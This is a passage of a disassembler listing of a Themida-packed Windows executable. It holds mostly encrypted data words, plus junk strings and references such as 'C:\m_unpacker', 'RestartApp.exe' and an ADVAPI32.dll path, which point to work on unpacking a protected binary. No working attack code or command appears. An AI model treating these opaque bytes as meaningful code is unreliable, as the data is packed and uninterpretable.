		dd 0D4C00E9h, 0EE31F360h, 0FC00E88Ah, 56873903h, 0E71E4806h
		dd 3F8C203Fh, 0B209A6E1h, 0D1D1FBE8h, 6CE50034h, 0E2463E52h
		dd 3A901801h, 39EB42AFh, 87E848h, 9FB6A64Bh, 0C05843D0h
		dd 0A0648613h, 0AE2F90B3h, 0AA78FC10h, 3C8F0F3Fh, 0AB8A02E6h
		dd 5CB9BF46h, 6EF141B0h, 730C8029h, 91199AE0h, 0A4B81FCCh
		dd 0E8EE16h, 0D8B368A5h, 923893D1h, 2389A67Ah, 9588F90Ah
		dd 0C009AF1Ch, 68E481h,	6F2E3CA5h, 7AA67FA8h, 6F42EDF3h
		dd 25556060h, 9CCBEB6h,	1484C53Eh, 0AE0480A3h, 40580DC7h
		dd 7F038F4h, 0E2B23B52h, 0D91460EFh, 158697h, 0E35338AAh
		dd 0CEC857B0h, 90369F2Dh, 7940BDCh, 97833DE2h, 0E992A177h
		dd 65DC407Ch, 1D09D011h, 0C4189FB7h, 88900054h,	0BCF7150Dh
		dd 459DC931h, 40241DECh, 33CBE3Fh, 0E7E6AF1Ah, 4729600h
		dd 0B35A1289h, 0B01501A6h, 8C390B5h, 80B43849h,	0B614CABh
		dd 5E4B0127h, 0CA9325A6h, 3957DD6Ah, 4E86001Ch,	7F7F63Ch
		dd 30A0950h, 0A47E6153h, 2E001311h, 1096B772h, 2B0084B0h
		dd 2717FE8Eh, 17126692h, 3D7B26h, 2A40F8CCh, 0B2005E68h
		dd 72FE4B8Bh, 0F19FA723h, 900CA470h, 303C442Ch,	0A0208D5Fh
		dd 2CCFDFA5h, 30C7C8Fh,	276E5976h, 0E3A4B590h, 580EDE2Ch
		dd 1ED52E60h, 0D99B28E0h, 80F2ED8h, 3F5820D9h, 0F9FA9F1Ch
		dd 0F0333CC1h, 0A422AC03h, 49A0421Dh, 72010B79h, 0BE469153h
		dd 0BB406BC4h, 7510137h, 649F084Dh, 0DCDC8906h,	5357AA61h
		dd 4FE6CBE0h, 4DF08826h, 87FAE300h, 344E30C6h, 0AA84120Ah
		dd 8AB480FEh, 0EE9D1A78h, 42432424h, 0B829062Ch, 0F40228DEh
		dd 0C93011E7h, 0BD2535h, 0E163A19Fh, 1167E3Fh, 4020B765h
		dd 1554216h, 4FB85186h,	0EC68BF5Eh, 2091644Dh, 0E19A1683h
		dd 0D27ED8C9h, 0AF9B049Ch, 0C00A2149h, 57DAC3ADh, 0FF47098h
		dd 162B1A05h, 2047FB12h, 0E8F0FD39h, 37D62Dh, 0CE43A478h
		dd 185B45B2h, 6448F009h, 47B8686Ah, 0E0A37D77h,	0CEBB008Dh
		dd 0F2DA020Ah, 4026396h, 344C9713h, 68105531h, 20EC9B5h
		dd 286A7DB3h, 0C0809F42h, 0F7B758CBh, 0C8009995h, 8D272E8h
		dd 4C349D29h, 11C16045h, 0C0EB9FA9h, 0F50AB37Eh, 8C416F66h
		dd 7288C00Eh, 0AA00E4B2h, 9D8F7540h, 540E6547h,	0ECF0AF9h
		dd 85E1C03Fh, 9564AC13h, 33C8864h, 0E9F081BDh, 1A39A872h
		dd 0C1808C38h, 248F1EC9h, 0F1E20300h, 0AB3C407h, 542D251Dh
		dd 0F0E47491h, 0A000E6C0h, 4952D8CCh, 968AFBCh,	0B65CC25Ah
		dd 24011452h, 7C9D4801h, 0D8C3612Ch, 229820h, 82D53A54h
		dd 7784435Ch, 0BA41FC03h, 0C815F7C7h, 38E028B0h, 0FE07D376h
		dd 8057217Ah, 0C62C7B29h, 0A6398667h, 0D26CE600h, 0FE1A0024h
		dd 0FC1729C4h, 0D000C22Eh, 428F2C15h, 10B5DD8Bh, 8459CEh
		dd 0F9097860h, 1D48BA5Dh, 0DDB65A14h, 0DAE40FF1h, 0B37A6800h
		dd 8F60E02Ch, 2DC19669h, 1CA75A9h, 0A1482577h, 80E93A7Fh
		dd 0DD22B121h, 180E2Ch,	0CCDB97EFh, 6B4910EAh, 5235DC00h
		dd 53D81E20h, 55C80C78h, 54F98341h, 92296F03h, 0A9C24250h
		dd 9440CEE4h, 9ECD9BDh,	0E043B60Fh, 931DF180h, 253008D4h
		dd 0A9DFC844h, 912000F5h, 59FF73B3h, 830E954h, 0C72D212Eh
		dd 4A1C180h, 0C2545DA5h, 21243C80h, 0FF38D285h,	9A9C01C7h
		dd 0AE1A4B74h, 4AEDCEC9h, 985561F1h, 0B0E82404h, 18A290C0h
		dd 1E0F0B06h, 0CD03894Bh, 0B2C0CFDEh, 4806260Eh, 0CDC72CAFh
		dd 8A47B79h, 7F6955F1h,	547C1F82h, 1A44A042h, 329ACD2h
		dd 92BA33B1h, 79585BA0h, 87F9382Ah, 90ADB226h, 45EFB680h
		dd 1F0C00E0h, 0B8B1544Bh, 7700C246h, 0F94D6ACBh, 0C358CEB7h
		dd 0DB45741h, 170651E0h, 3999B201h, 0F523929Ch,	0B589F0h
		dd 55E6DFD8h, 47CEB0D9h, 4E7139C0h, 0F8DBE525h,	0FD11C5Dh
		dd 0C3033AFFh, 0B91CCE4Dh, 55269598h, 0C9CA94E0h, 0AD41BCAAh
		dd 7F1B23h, 41BE77ACh, 0CFA7FC2h, 58E5A900h, 2D44F50h
		dd 22D4A427h, 0A40085DEh, 70E04220h, 0C360B192h, 894D5491h
		dd 0DC916911h, 0E211187Ch, 28321988h, 0E6496F00h, 39AF0D10h
		dd 7FF8A177h, 0EF550210h, 2AA79018h, 1C1BF041h,	0C0D9EEA5h
		dd 945FA6B9h, 0C0016D75h, 0CBF5B826h, 0E3D19D2Bh, 0A67E9040h
		dd 0B41700B1h, 0D648B561h, 1A002557h, 76749DDAh, 18851E29h
		dd 612BAADEh, 4C00BD6Fh, 731030BBh, 0FFEFC0h, 0AFAD7F60h
		dd 115008B3h, 806CF328h, 6043C145h, 7D00A45Fh, 6C2FB225h
		dd 1E761207h, 0F8802D72h, 24A88161h, 1105A0Dh, 0E213F6C1h
		dd 8EE99E87h, 0D96A8040h, 0B83E1Ch, 71C27F1Dh, 8FA424FBh
		dd 0A1C0A774h, 0C6EF0549h, 3FA8090Dh, 1092C750h, 23C4407Fh
		dd 6AFA00B2h, 8E7596FEh, 0ED00193Ch, 0D87B8C48h, 603A772Dh
		dd 0FD47B9D4h, 7D001FC9h, 0AEA1410Ch, 5E9142Ch,	0C2441395h
		dd 0CD1E801Dh, 0DF0529ABh, 7FDDD39Ah, 1BD8A003h, 0F4C80F4Ah
		dd 5760D923h, 68B89FC2h, 497A30A8h, 9792DF00h, 0D221C63Fh
		dd 0F75D0206h, 247B45DBh, 0E05C9440h, 121F7F07h, 882AE284h
		dd 0FDCF1483h, 2346C966h, 1218C030h, 20A77436h,	0D3A06440h
		dd 35DBA04h, 0B0C22F07h, 20B9208Fh, 9B60C92Dh, 0EEC2A611h
		dd 92721263h, 41B424DBh, 0AE0E6254h, 4B9F87Ch, 0A7813100h
		dd 0C4994D08h, 0C08B00A3h, 0B16B1451h, 8D002C0Ah, 294B5987h
		dd 7481C261h, 53F70EFCh, 3153B5C0h, 0C03254D8h,	4D002BDDh
		dd 6D7635EBh, 99FB2h, 5E86C10Fh, 0A6DFCEA8h, 1D307558h
		dd 96D21312h, 45CF5C00h, 7803E28Bh, 0E851C0C7h,	917D73ECh
		dd 9468C10Ah, 0B202C549h, 0C04CC39Ch, 3D978D35h, 0D0802B6Bh
		dd 32F73AEDh, 9269045h,	8A034015h, 0E5FC41Fh, 374F4D51h
		dd 7E6C9C40h, 0A13F86DFh, 0BFA78915h, 0D9C4012Ah, 43D146D8h
		dd 0FF1DE422h, 423BC1EDh, 50C33A51h, 0C4323EA0h, 79E54400h
		dd 2047CC14h, 728D00FDh, 9A5E6FC1h, 8458452Dh, 9DA6068Eh
		dd 0E8F557h, 26E7C1E9h,	503AEBD9h, 4B29B201h, 28AAE0DDh
		dd 91D2F450h, 0B9FC09E7h, 80DD109Ch, 90DB7810h,	0D363007Bh
		dd 1D73841Fh, 0CA32A315h, 0E3C0E807h, 0B341000Fh, 28B5297Bh
		dd 0DC7A08DDh, 8E6E0B00h, 14AAA8ABh, 48FD1889h,	0B899387Eh
		dd 0BD037090h, 0AF2DB3E5h, 0A022EB20h, 0A446AE92h, 50424CECh
		dd 0AB1D9187h, 89150002h, 0B1038842h, 0B7E062C5h, 754C95DAh
		dd 4832284h, 93AD8C55h,	62BCC8A8h, 0FA890801h, 52459551h
		dd 0BA4090C5h, 264D208Ah, 13186FDAh, 0C7302102h, 0B889805Eh
		dd 81586A12h, 8A3800F0h, 0B7DF773Fh, 0B8D194E5h, 0C22C0AE0h
		dd 8782D49Ah, 8049AD92h
		dd 0BCEB164h, 0BC7748DCh, 85F2EB82h, 262C16C1h,	0FEBD00A0h
		dd 0D892A40Dh, 2C8A8847h, 15F4831Fh, 7ACAD4C0h,	81FFACh
		dd 0EFF89131h, 7C3A6BD1h, 6880B491h, 0BD808DD2h, 1CB90081h
		dd 2F76CC0Fh, 0E0008EC1h, 54EA868Bh, 0E6103h, 771F91CFh
		dd 90E2F3CCh, 5DA3A1C0h, 71ECA980h, 59683F48h, 2D818F89h
		dd 0C9A4DF00h, 7001C245h, 0B1559C3Fh, 0A022CE9Dh, 14E01F78h
		dd 8308C043h, 0B9453DEFh, 0BF44C204h, 0CC8C459h, 4E2A3AA3h
		dd 0D1ACF989h, 0D5C6B280h, 2400545Bh, 44DD1520h, 4379A1Eh
		dd 90E8FF92h, 0DC388D91h, 5400AF5Eh, 0FA992A6Eh, 7FF87461h
		dd 0E4C7011Eh, 0B932C148h, 6432A8h, 0D4DB6F1Fh,	5C887B9Fh
		dd 800A821h, 14C336ACh,	6B0C5EFAh, 312FA896h, 21430071h
		dd 15C076E5h, 4507D23Dh, 35C289E1h, 36DF90D1h, 0CDB1C1C7h
		dd 90554820h, 0C00C5C20h, 0C8E12D84h, 8C54EC94h, 0CB76BFACh
		dd 1156D409h, 0AE00D77Eh, 7012CE81h, 0C40F220Eh, 929FC330h
		dd 5C490BA5h, 0F080A72Ah, 2CF2BF9Bh, 0C318DF48h, 0A75178F8h
		dd 5ABDFC01h, 98CF6053h, 0CEA2CCh, 7A08EF20h, 0BAFB924Bh
		dd 6FA4E200h, 2FE58D42h, 0B891CEh, 4E210BD4h, 0FF09DA9Ch
		dd 448D9F4h, 9CC1856Ch,	5DD39C0h, 866CE1C6h, 45CC0515h
		dd 83D0C273h, 24E634C0h, 20A8AF18h, 0FA08B89h, 0E12C2879h
		dd 4950F0A3h, 74FE0EF9h, 77E8E7E0h, 0BA518D63h,	299DA856h
		dd 99D300B8h, 27C3A5C2h, 0D1065287h, 5CC71E3Ch,	196E00B1h
		dd 0A2F7329Ch, 0EAFE9AC4h, 7EE88CA8h, 0CFB439h,	0FA17CC3h
		dd 78FE0AAh, 0BF53776Bh, 95C70017h, 2D14DA27h, 940E22Ah
		dd 7CB5C6C4h, 1B830B2Bh, 6860AD0Fh, 0D407D1E6h,	0D9220530h
		dd 0C965314h, 0D03A43E3h, 0A5053479h, 0E99E6CB0h, 0B88B18C3h
		dd 91CD5C1h, 951DB89h, 1A243D00h, 6C04C0ADh, 0E02D928Bh
		dd 0BA6C4A4h, 0AA23810Eh, 0F9FBC400h, 311E92B6h, 79F507D4h
		dd 10F8898h, 22E64ED6h,	0E0AAB188h, 3A5276CDh, 83050984h
		dd 0DCDE81BAh, 0E07F128Dh, 0A90F6E8Dh, 0D2762CEDh, 0F722C4Eh
		dd 1AA26259h, 9E586062h, 87E00079h, 0D4D2141Eh,	3C303212h
		dd 543359C2h, 0CA101F1Ah, 2320009Dh, 9AF72CBDh,	3B307EFCh
		dd 0AE1829CCh, 0E6BA016Ah, 1A268741h, 9832E4B5h, 0A4A852h
		dd 7ECAA5B1h, 0FB4C5461h, 0A4A7C407h, 5000BD14h, 8606469Dh
		dd 603D3Fh, 0E395EFA0h,	74471DF2h, 0D7BC6F05h, 0D0C854CEh
		dd 559700ADh, 2BD8899Eh, 530059FAh, 7CC24124h, 316DAC4h
		dd 0B073217Bh, 981E2FA0h, 0B2402CBFh, 325DF646h, 547C1655h
		dd 0F8402005h, 3FB8E439h, 77302BF2h, 6D071991h,	7DA61E68h
		dd 3E813ED2h, 0EFECE59Ch, 9F603864h, 39312640h,	0EA7687Ah
		dd 0DD5DDE3Eh, 2C6F62CFh, 774A8A7Fh, 13B8609Ch,	0DF1F209Eh
		dd 964027B6h, 0D495DC57h, 26180F0Dh, 0C322A148h, 94E0F88Ah
		dd 3154A724h, 88076D98h, 7AFD1AF1h, 3D134391h, 111FB420h
		dd 897725h, 8B67B3EBh, 9C3A4452h, 6FA08398h, 1DF066A4h
		dd 0E11C691Ah, 10C92461h, 136C90A8h, 55ED1EF2h,	5794008Bh
		dd 0CB283DDFh, 0EC6BAC0Ch, 426196h, 0CDEA0FC4h,	88F28314h
		dd 8BAA321Eh, 9B97AF00h, 9039BB3Ah, 0FC88B0F4h,	7034E8C6h
		dd 98E5026Eh, 1335F741h, 25C3AC63h, 8129F830h, 0ECB5ED8Ch
		dd 3CA84CDCh, 681416h, 91F31F88h, 0DB031756h, 2CD06509h
		dd 18888DA7h, 700F077Ch, 7099ADFFh, 291C7D92h, 0BF428F0h
		dd 0DDCE300h, 498C2272h, 2698A0E9h, 2AB97DBDh, 90EB3Bh
		dd 25532EADh, 0A27BE28Ch, 31345E03h, 0F88D8603h, 30C71B56h
		dd 0DF981D33h, 0BD5CE89Ah, 0A7081778h, 3CA04427h, 93BFE5Ah
		dd 0CFE15627h, 1804CC8Bh, 1A254047h, 22655D9Fh,	530093E2h
		dd 52951894h, 70B539A2h, 75F10041h, 0ED2DFF61h,	9C5C2A44h
		dd 59AA111Ch, 7640204Eh, 0DE001F95h, 0A36B5A45h, 398AD4FCh
		dd 1CDC0993h, 7300C822h, 0AE4BFA7Dh, 760FB5h, 0C3086353h
		dd 43310BCFh, 6C30D24Ah, 0ACA32Bh, 0DBF4FEF6h, 4B1A8B45h
		dd 0A05D5428h, 0E231F50Ch, 3A1C18Fh, 2A4AD2D6h,	0EAD0970Bh
		dd 0F5000CA8h, 1B1738C2h, 1F185E0Eh, 79B9D1Ah, 0E07A4E22h
		dd 0AAFD25C0h, 8099A8F6h, 0E2D8003Dh, 586C9E07h, 33ED02E9h
		dd 4F52045Eh, 23B07443h, 0BCA0B64Dh, 170F2072h,	7633AA2Ch
		dd 54014C13h, 0E6F4BAABh, 0FF1E782Ch, 0B4DFC4h,	95B20F87h
		dd 3504C38Ch, 0A7AA26F3h, 7754C8h, 0DD934847h, 7D4D8AC4h
		dd 1CD03053h, 94406F15h, 8DD8D55Fh, 20DA04A5h, 8373C1EBh
		dd 77F89E66h, 0B09CA82Ah, 6BA21180h, 74DF1FFAh,	0B79B0007h
		dd 558B0228h, 59D38A4Ch, 860DFC80h, 882C48F5h, 0B226CF03h
		dd 2822B813h, 0EC0D2485h, 200B1298h, 9DB28F94h,	39AE560Ch
		dd 4C9AF898h, 3639F895h, 6CA32AF4h, 806099E4h, 0EEDC2650h
		dd 6F00E176h, 6AE07432h, 412808Ch, 15A5868Bh, 0C540C11Bh
		dd 53CC6076h, 39C20107h, 0D472786Eh, 6D7C4024h,	237F009Dh
		dd 3BA6CA48h, 592C6930h, 493C3808h, 87B98074h, 10DAF56h
		dd 5839C3F7h, 60AC2F09h, 0BD179759h, 5020A092h,	0F8D8E2C2h
		dd 21F41830h, 5EC9407Ch, 781BD05Ch, 12FC64A8h, 0A4AA5000h
		dd 9FF2B960h, 0DA8D00C4h, 0CA49DBF8h, 270F2628h, 0A01E1DC3h
		dd 7A203CF7h, 0BA480B25h, 0C830DD2Ch, 1F16C35Eh, 7890CEBFh
		dd 729B2D4Eh, 225D0F78h, 9EE48054h, 0E418B5CEh,	90583569h
		dd 32ED090Dh, 0E83A8030h, 2429B8F2h, 11684921h,	0F6CC002Bh
		dd 6667ABCEh, 0CF810037h, 1CF21925h, 1E059943h,	334A025Ah
		dd 9227C4C0h, 2AF091DFh, 0D509760h, 3405C9Ch, 4F1AA5Fh
		dd 2060C33Eh, 0A788806Fh, 0BA392D74h, 158D9858h, 0E8AB3488h
		dd 9586091Eh, 14E0FD0Eh, 1A098A81h, 2271FC6Ch, 60905198h
		dd 97F9268h, 43547A3Eh,	15090044h, 1004D4B1h, 0B8C2194h
		dd 4B65679Fh, 0B1553C20h, 0DF0D8FD5h, 292CA790h, 3E8B47F4h
		dd 4C00C756h, 7D589714h, 0CB280D42h, 4444FC59h,	7B98282Ah
		dd 29170080h, 0BDA90F1Ah, 6312597Fh, 1027C76Eh,	44D25D10h
		dd 8D401B8h, 0BBEDC4EBh, 5832CEh, 4B98DC9Ah, 3C27731h
		dd 48B9871Fh, 0B69AA580h, 0AA3014A0h, 7C1C8C45h, 740A656h
		dd 0F7D9F890h, 15923FAFh, 46C64809h, 0DFD21800h, 6CA811A2h
		dd 6700F7DEh, 0A440EC5Dh, 3F79F3DDh, 0AF148788h, 0A106A8B4h
		dd 3136A798h, 92D00B1Eh, 4C464300h, 13ACF24h, 51AF12E4h
		dd 0E890EF88h, 0B8A88BE2h, 4A03CAF9h, 0C5D8F4AEh, 2E78E853h
		dd 20925A1Ch, 0CCA722FCh, 0FFFF01A5h, 0C0F6h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53DF73:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_5412E0
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd offset byte_5AC7C5
		dd 25A0000h, 230FFB0h, 2 dup(0)
		dd 0FFA8A7D7h, 1, 8001FCFCh, 6Ch, 0BF0803h, 142340h, 5 dup(0)
		dd offset dword_5BA704
		dd 1A5D5755h, 575829h, 7 dup(0)
		dd 2590000h, 5 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0A0A00Fh, 12h dup(0)
		dd offset word_5A86F6
		align 10h
		dd 790C8823h, 1434h, 5 dup(0)
aUwa		db 'È“W€',0
		align 4
aGf_0		db 'Gä',0
		align 10h
aCw		db 'µ\çw',0
		align 4
		dd 0
		dd 0A069DDh, 7 dup(0)
aBCw		db '¡Ãçw',0
		align 10h
		dd 8A0FB5E2h, 2	dup(0)
		dd 1, 5402C4h, 0
aQA		db 'ïÌ  ',0
		align 10h
		dd 0FFA882F4h, 4 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FF5F5FF1h, 9 dup(0)
		dd 140D960h, 5 dup(0)
aHSw		db 'h!èw',0
		align 4
		dd 0
		dd 7FFE0304h, 0A08C0Ah,	12FF54h, 0Ah dup(0)
		dd offset dword_592174
		align 10h
		dd 0A069DDh, 5 dup(0)
aDSw		db 'd!èw',0
		align 10h
		dd 4 dup(0)
		dd offset word_5A04A6
		align 8
		dd offset dword_53ED0C
		dd 0A09234h, 3 dup(0)
		dd 0A06CB0h, 0
		dd 4, 2	dup(0)
		dd offset dword_5ACFFC
		dd 8 dup(0)
		dd 14A3B591h, 0
aWG		db 'WÌÙg',0
		align 4
		dd 2 dup(0)
		dd 0FFF5A0FEh, 0Ah dup(0)
		dd 7A02h, 2650A287h, 6 dup(0)
		dd 7A02h, 3 dup(0)
		dd 0DE0DA705h, 0
		dd 881857C9h, 6D656854h, 616469h, 1Eh dup(0)
aCljw		db '—«jW',0
		align 10h
		dd 80F2FFF9h, 0BCh, 575232h, 3 dup(0)
		dd 609Ch, 2 dup(0)
		dd offset dword_596AFC
		dd 0Bh dup(0)
aWako?2		db ']Êw€ªŽ?2',0
		align 10h
		dd 0
		dd 7A02h, 2 dup(0)
aKaS		db 'Ka',7,'S',0
		align 4
		dd 3 dup(0)
		dd 1, 581491h, 3 dup(0)
		dd offset dword_571564
		dd 0Bh dup(0)
aMO		db 'Œ#Ž}',0
		align 10h
		dd 2 dup(0)
		dd 70h,	8A0FB5E2h, 0Bh dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd offset dword_56EDEC
		dd 1Ah dup(0)
		dd 4658152h, 2 dup(0)
		dd 5307614Bh, 0FFFF8C7Eh, 77E7A5FDh, 2 dup(0)
		dd offset dword_596AFC
		dd 2 dup(0)
		dd 4D34h, 12FFA4h, 6 dup(0)
		dd offset byte_5B6DC9
		dd 0
aIiq		db '››Ÿ:',0
		align 4
		dd 2, 7	dup(0)
aJM		db 'j*%M',0
		align 4
		dd 0Ah dup(0)
		dd offset word_5965F2
		align 10h
		dd offset byte_589793
		align 8
		dd 77E805D8h, 58481Dh, 49CDh, 4	dup(0)
aVp		db 'Þ‚P+',0
		align 4
		dd 2 dup(0)
		dd 80h,	4 dup(0)
		dd 13D802BBh, 540C7Ch, 5AB395h,	0Ah dup(0)
		dd 2410000h, 3 dup(0)
		dd 7FFE0304h, 8	dup(0)
		dd offset byte_576D0B
aTyuj		db 'tYU†',0
		align 10h
		dd 12FEF0h, 7 dup(0)
aVA		db '|V]€',0
		align 4
		dd 6 dup(0)
		dd 35Bh, 4 dup(0)
		dd 0FFFFF73Eh, 0
		dd 14B2CAF4h, 6	dup(0)
		dd 77E77963h, 596AFCh, 0A09393h, 12FF54h, 8 dup(0)
aKaSZ		db 'Ka',7,'S',7,'»Z',0
		dd 2 dup(0)
aSaki		db 'áíkˆ',0
		align 10h
		dd 4 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd offset byte_540023
		dd 0
		dd 9F0000h, 7FFE0304h, 2 dup(0)
		dd 0B0A1FEh, 0Ah dup(0)
aR_0		db '¸Ì%à',0
		align 4
		dd 0Ah dup(0)
		dd 0B31344h, 7 dup(0)
		dd 0EDF75AB7h, 77E7A5FDh, 0
		dd offset dword_5BA704
		dd 0
aEksacw		db '[{eK™ çw',0
		align 10h
		dd 304h, 0FFA7778Eh, 4 dup(0)
aGA		db '£ÉÐA',0
		align 10h
		dd 2 dup(0)
		dd 10ABCE2Bh, 2	dup(0)
		dd 0B6D3h, 0
		dd 25C0000h, 7FA7B9DFh,	7 dup(0)
aGQ		db 'ƒÕq<',0
		align 10h
		dd 0FFF80C10h, 0A2B134h, 0
		dd 0BE81417h, 5	dup(0)
		dd 2A79h, 2 dup(0)
aEclo		db 'eC«Ž',0
		align 4
		dd 4 dup(0)
		dd 5CA5h, 12h dup(0)
		dd 0A27316h, 3 dup(0)
		dd 77E805D8h, 7	dup(0)
		dd offset dword_53ED0C
		dd 77E60000h, 57E7D5h, 8 dup(0)
		dd 0FFFF3C91h, 0B91E694Eh, 14B2CAF4h, 2	dup(0)
		dd 6, 4	dup(0)
		dd 9F0000h, 80A266D9h, 5 dup(0)
		dd 7FFE0304h, 541E78h, 5AB4B3h,	2 dup(0)
		dd offset byte_57C775
		dd 3 dup(0)
		dd 0FF5F9623h, 3 dup(0)
a7icw		db '7¨çw',0
		align 10h
		dd 37000h, 0
a0I		db 'ß0Å©',0
		align 10h
		dd 29h dup(0)
		dd 0A069DDh, 4 dup(0)
		dd 7A02h, 0
		dd 2405h, 3 dup(0)
		dd 3F9F8h, 0
		dd 0A122D4h, 4 dup(0)
		dd 3FE277F6h, 0A9C530DFh, 5 dup(0)
		dd 7FFE0304h, 0A069DDh,	0
		dd 7FFE0304h, 77DD59F0h, 577D0Ch, 0
		dd 74h,	4 dup(0)
aEp		db 'ì^EP',0
		align 10h
		dd 9 dup(0)
		dd offset byte_5B3FDD
		dd 6 dup(0)
		db '""""""""',0
		align 4
		dd offset dword_58FFB0
		dd 2 dup(0)
		dd 0CE0CAB37h, 6 dup(0)
		dd offset word_589776
		dd 2Ch dup(0)
		dd offset byte_57DDCD
		dd 2 dup(0)
		dd 77F52E0Fh, 2	dup(0)
		dd 3A0h, 8 dup(0)
		dd 241000Ch, 5 dup(0)
		dd offset dword_59FE9C
		dd 4 dup(0)
		dd 8C6Bh, 8 dup(0)
		dd offset word_5A810A
		dd 8 dup(0)
		dd 4001D8h, 0
		dd 23h,	3 dup(0)
aMJ		db '¿¬,j',0
		align 10h
		dd 11111111h, 4FCEC5FBh, 3 dup(0)
		dd 7A02h, 575232h
dword_53ED0C	dd 3BCh, 2 dup(0)	; DATA XREF: Themida_:0053E1D8o
					; Themida_:0053E8F4o
		dd offset asc_5BFF34	; "ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ"...
		dd 15h dup(0)
aSQa		db '˜ËQ',0
		align 4
		dd 0
aXSi		db 'å\sˆ',0
		align 10h
a0I_0		db 'ß0Å©',0
		align 4
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 7Eh dup(0)
		dd 7A02h, 0FFFFFF54h, 0
		dd 0FFFF8E14h, 2 dup(0)
		dd 0FF48C255h, 12FFE0h,	3 dup(0)
		dd 7FFE0304h, 91AD0EBBh, 4 dup(0)
		dd 0A4A5E7h, 0
		dd 0C9F3D8B0h, 3 dup(0)
		dd offset byte_59664F
		dd 0
		dd 0FFA400CCh, 0
		dd 1, 577D0Ch, 0
		dd 0A13154h, 53FDC4h, 0ACh, 2 dup(0)
		dd 0A0A08Dh, 0A0A037h, 2 dup(0)
		dd 0A27FD8h, 0A0979Dh, 0A0A00Fh, 5 dup(0)
		dd 284F0000h, 25A0000h,	0FFFFFF5Ch, 0
		dd 3CCh, 6 dup(0)
		dd 0E447h, 0Eh dup(0)
aJW		db 'jÉÔw',0
		align 4
		dd 7 dup(0)
		dd 400E9h, 0A02BDEh, 3 dup(0)
		dd 1AECh, 4 dup(0)
		dd 12FF54h, 5 dup(0)
		dd 0E0014h, 581A9Ah, 2 dup(0)
		dd 9Ch,	8A0FB5E2h, 3 dup(0)
		dd 7A02h, 2FCB30EBh, 0
		dd 7FFE0304h, 6F561584h, 0Ah dup(0)
		dd 0A03145h, 4 dup(0)
a1I7lw		db '1Ô°ë7«W',0
		dd 7 dup(0)
		dd offset dword_5BA704
		align 8
		dd 7FFE0304h, 0
		dd 8A0FB5E2h, 0
		dd offset word_57C6FA
aJlW		db ',',7,'¿†«"W',0
		dd 4 dup(0)
		dd 84h,	0Ch dup(0)
		dd 564D577Fh, 4	dup(0)
		dd 0B8157BF3h, 0
		dd 4D34h, 0
		dd 17D311C8h, 3	dup(0)
aY@		db 'yÏ@Û',0
		align 4
		dd 5 dup(0)
aGaj		db '£€¦Í',0
		align 10h
		dd 5 dup(0)
		dd 12FF54h, 0
		dd 7FFE0304h, 5	dup(0)
		dd offset byte_57E641
		dd 0
aRestartapp_exe	db 'RestartApp.exe',0
		align 4
		dd offset byte_56E667
		dd 2496BCEh, 6 dup(0)
		dd offset dword_578CD8
		dd offset dword_53F860
		dd 8E82h, 6 dup(0)
		dd 7FFE0304h, 6	dup(0)
		dd 2710h, 3 dup(0)
		dd offset word_5B1752
		dd 0
		dd 12FF54h, 2Bh	dup(0)
aQucw		db 'ï“çw',0
		align 4
		dd 2 dup(0)
		dd 0A29BACh, 0Ch dup(0)
		dd 12FFF0h, 2 dup(0)
		dd offset word_570A16
		dd 0Bh dup(0)
		dd offset dword_578CD8
		dd 3CA8h, 0A280105h, 7 dup(0)
		dd 0A070C4h, 4 dup(0)
		db '!!!!',0
		align 4
		dd 0FFFF76E7h, 0
		dd 77F5180Bh, 2	dup(0)
		dd 119D97D7h, 3	dup(0)
		dd 1, 585D4F4h,	2 dup(0)
		dd 0FFFFC830h, 7 dup(0)
		dd 48057h, 28C0000h, 0
		dd 7D1h, 0FFFFB2CCh, 0A0A00Fh, 0
		dd 0FFFFFF20h, 74AC7BCDh, 0
		dd 0FFA49223h, 2 dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 4
		dd 3Eh dup(0)
		dd 0FFFFF5C1h, 5 dup(0)
a@V		db '@',1Bh,'´v',0
		align 4
		dd 2 dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd 0FEF56C57h, 0
		dd 77E7C486h, 1042040Dh, 2 dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd offset dword_53FE38
		dd 2 dup(0)
aMcw		db '^w',0
		align 10h
		dd 2 dup(0)
		dd 75B5h, 2 dup(0)
		dd 0FFFFF5C1h, 6 dup(0)
		dd offset dword_577D0C
		dd 77E80618h, 0A9C530DFh, 0E80h, 577D0Ch, 0
		dd 162752A0h, 3	dup(0)
		dd offset word_570A16
		dd 3 dup(0)
		dd offset dword_596688
		dd 8001FCFCh, 2	dup(0)
		dd 72A8h, 0Ch dup(0)
		dd offset byte_591D69
		dd 0
		dd 0FF5F5FF1h, 5A8015h,	2 dup(0)
		dd 0F4092F00h, 0FFA882F4h, 3 dup(0)
		dd 77E83E68h, 0BC73017Bh, 2 dup(0)
		dd offset a4Qrs+3
		dd 0Eh dup(0)
		dd 77E600F8h, 2	dup(0)
		dd 7FFF03FCh, 0DD000h, 7FFE0304h, 0Bh dup(0)
		dd offset dword_52F848+7DBh
		dd 9 dup(0)
dword_53F860	dd 0A13268h, 5A650Bh, 0	; DATA XREF: Themida_:0053F2F0o
		dd 8A0FB5E2h, 0Ah dup(0)
		db '½ÁÓ[',0
		align 10h
		dd 8 dup(0)
		dd offset byte_577149
		dd 2 dup(0)
		dd 1F773038h, 5	dup(0)
a333333333333	db '333333333333',0
		align 4
		dd 0B7h	dup(0)
aEoer		db '…Ž…R',0
		align 10h
		dd 12FF54h, 6 dup(0)
		dd offset word_5A86F6
		dd offset aS_5		; "\rÕè\a"
		dd 8 dup(0)
		dd 7CCh, 0
		dd 7A02h, 4 dup(0)
aScK		db '‘—',8,'ª',0
		db 10h,	1Ch, 0
		dd 4 dup(0)
a3kqt		db '3kqt',0
		align 10h
		dd 3 dup(0)
aIx		db '$$$$ÍIX',0
		align 8
